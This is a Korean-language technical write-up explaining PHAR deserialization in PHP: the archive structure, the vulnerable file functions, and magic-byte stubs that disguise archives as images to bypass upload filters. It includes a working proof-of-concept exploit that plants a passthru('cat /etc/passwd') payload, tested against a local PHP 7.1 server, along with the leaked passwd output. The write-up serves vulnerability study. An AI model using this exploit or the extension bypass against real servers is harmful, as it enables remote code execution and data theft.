PHAR Deserialization Vulnerability
PHAR(PHP Archive) 구조
PHAR 파일은 4가지의 구조로 이루어져있다.
- Stub
- 작은 형태의 코드를 담을 수 있는 공간
- __HALT_COMPILER(); 코드가 있어야 PHAR 파일로 인식
- Stub을 지정하지 않으면 약 7KB 코드가 기본값으로 설정됨
- Manifest
- 해당 PHAR 내부 파일에 대한 메타데이터 저장
- setMeta(mixed $metadata) 함수를 통해 설정 가능
- File Contents
- PHAR 내 데이터 영역
- Signature(Optional)
- PHAR에 대한 시그니처
그 중 PHAR Manifest의 각 파일에는 다음 정보가 포함되어 있으며 마지막 바이트 부분에서 직렬화 포맷을 사용하고 있다.
따라서, 공격자는 Manifest의 serialize 영역에 의도적인 PHP 객체 페이로드를 심어 임의 코드 실행, 파일 삭제, SSRF 등 다양한 공격이 가능해진다.
트리거 조건
- 공격 대상 클래스에 __destruct(), __wakeup() 같은 매직 메서드가 있어야 한다.
- 객체에 매직 메서드가 정의되어 있다면, 공격자는 PHAR 파일 메타데이터에 악의적인 값을 삽입함으로써, 역직렬화 시 해당 메서드를 통해 악성 동작을 유발할 수 있다.
- 공격자가 작성한 PHAR 파일을 서버에 업로드 할 수 있어야 하며, 업로드된 파일은 phar:// wrapper로 처리되어 취약한 함수에 전달되어야 한다.
- 취약한 함수란 PHAR Stream Wrapper를 통해 내부적으로 Manifest를 파싱할 때 unserialize()를 호출하는 함수를 의미한다.
- Manifest 섹션에 들어있는 직렬화된 데이터를 자동으로 역직렬화 하기 때문에 숨겨진 형태로 역직렬화가 작동한다.
취약한 함수
아래에 나열된 함수들은 phar:// 스킴이 포함된 경로를 인자로 전달받을 경우, 내부적으로 PHAR 아카이브의 메타데이터를 파싱하며, 이 과정에서 자동으로 unserialize()가 호출되어 역직렬화가 발생할 수 있는 함수들이다.
file() filectime() file_put_contents() file_exists()
filetime() fileatime() fileinode() filegroup()
fileowner() file_get_contents() fopen() fileperms()
is_dir() is_readable() is_executable() is_writable()
is_writeable() is_file() is_link() parse_ini_file()
copy() unlink() stat() readfile()
filesize() filemtime() filetype() lstat()
mkdir() rename() rmdir()
확장자 우회
PHAR의 Stub 영역에 넣을 수 있는 매직 바이트는 주로 파일의 시그니처를 위장하는 용도로 사용된다. 이를 통해 허용된 확장자를 우회하는 동시에 내부적으로는 유효한 PHAR 포맷을 유지할 수 있다.
아래는 확장자 우회를 위한 대표적인 매직 바이트이다.
포맷 | 매직 바이트 (Stub에 넣는 값) | 설명 |
JPEG | \xFF\xD8\xFF | .jpg 우회(가장 흔하게 쓰임) |
PNG | \x89PNG\r\n\x1A\n | .png 우회 |
GIF | GIF89a 또는 GIF87a | .gif 우회 |
%PDF-1.7 | .pdf 우회 | |
ZIP | PK\x03\x04 | .zip 우회 (PHAR 자체가 ZIP일 수도 있음) |
PHAR 파일 생성
기본적으로 보안상 위험 때문에 PHP에서는 PHAR 파일을 생성할 수 없다. 이는 PHP 설정 파일(php.ini)에 있는 phar.readonly 설정 때문으로 이 값이 Off이면 PHAR 파일을 생성할 수 있다.
$ php --ini | grep php.ini
Configuration File (php.ini) Path: /etc/php/8.1/cli
Loaded Configuration File: /etc/php/8.1/cli/php.ini
$ vi /etc/php/8.1/cli/php.ini
[Phar]
; https://php.net/phar.readonly
phar.readonly = Off
PHP 설정 파일 변경 없이 CLI에서 임시로 끄는 방법도 있다.
$ php -d phar.readonly=0 exploit.php
Exploit
익스플로잇 전 PHP 버전 확인이 필요하다. PHP 8.0 부터는 phar://가 더 이상 스트림 래퍼 작업에서 unserialize()를 자동으로 호출하지 않는다고 한다. 따라서, PHP < 8.0 환경이 필요하다.
참고로, 테스트하는 로컬 서버의 PHP 버전은 7.1이다.
$ php -v
PHP 7.1.33-67+ubuntu22.04.1+deb.sury.org+1 (cli) (built: Dec 24 2024 06:50:28) ( NTS )
Copyright (c) 1997-2018 The PHP Group
Zend Engine v3.1.0, Copyright (c) 1998-2018 Zend Technologies
with Zend OPcache v7.1.33-67+ubuntu22.04.1+deb.sury.org+1, Copyright (c) 1999-2018, by Zend Technologies
index.php
LFI로 path 경로에 원하는 PHAR 파일을 삽입할 수 있다.
<?php
class VulClass {
public $hello = 'hello';
public $name = 'hacker';
function __destruct() {
call_user_func($this->hello, $this->name);
}
}
$filename = $_GET['path'];
file_exists($filename);
exploit.php
PHAR 파일을 생성하고 직렬화된 악성 객체를 주입하려는 코드이다.
<?php
class VulClass {
public $hello = 'hello';
public $name = 'hacker';
function __destruct() {
call_user_func($this->hello, $this->name);
}
}
$phar = new Phar('exploit.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'test');
$phar->setStub('<?php __HALT_COMPILER();?>');
$object = new VulClass();
$object->hello = 'passthru';
$object->name = 'cat /etc/passwd';
$phar->setMetadata($object);
$phar->stopBuffering();
다음과 같이 PHAR 파일을 생성하고 서버를 실행한다.
$ php exploit.php
$ ls
exploit.phar exploit.php index.php
$ php -S 127.0.0.1:8000
PHP 7.1.33-67+ubuntu22.04.1+deb.sury.org+1 Development Server started at Tue Apr 15 17:23:36 2025
Listening on http://127.0.0.1:8000
Document root is /home/alstn/php-exploit
Press Ctrl-C to quit.
위에서 생성한 PHAR 경로를 path에 넣어 요청하면 PHAR 파일 안에 심은 객체가 역직렬화 되어 RCE가 성공하게 된다.
$ curl "http://localhost:8000/?path=phar://exploit.phar"
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
...
상세 분석
- 취약점을 재현하면서 서버의 있는 .phar 파일을 사용하였지만 실제 공격 시나리오는 파일 업로드 취약점이 먼저 존재해야 한다.
- 공격자는 .phar 파일을 생성하는 과정에서 setMetadata()를 이용해 악의적인 객체를 설정하고,이 객체는 내부적으로 PHP에 의해 직렬화되어 .phar 파일의 메타데이터 영역에 저장된다.
- 파일 업로드 취약점을 이용해, 공격자는 조작된 .phar 파일을 이미지 파일 등으로 가장한 뒤 서버에 업로드할 수 있다.
- 이후 서버 코드에서 업로드된 파일 경로에 대해 file_exists()와 같이 phar:// 스트림 래퍼를 허용하는 함수가 호출되면, PHP는 내부적으로 .phar 파일의 메타데이터를 파싱하고, 자동으로 unserialize()를 수행한다.
- 이 과정에서 공격자가 심어둔 객체가 복원되고, 그 안에 정의된 __destruct() 또는 __wakeup()과 같은 매직 메서드가 실행되면서 원격 코드 실행(RCE)으로 이어지게 된다.
따라서 이 취약점은 단독으로 존재하기보다는, 파일 업로드 + phar:// 접근이 가능한 함수 호출이라는 두 가지 조건이 충족되어야 실질적인 공격이 가능한 구조이다.
Reference
- https://www.php.net/manual/en/phar.fileformat.manifestfile.php
- https://www.php.net/manual/en/phar.fileformat.stub.php
- https://php.watch/versions/8.0/phar-stream-wrapper-unserialize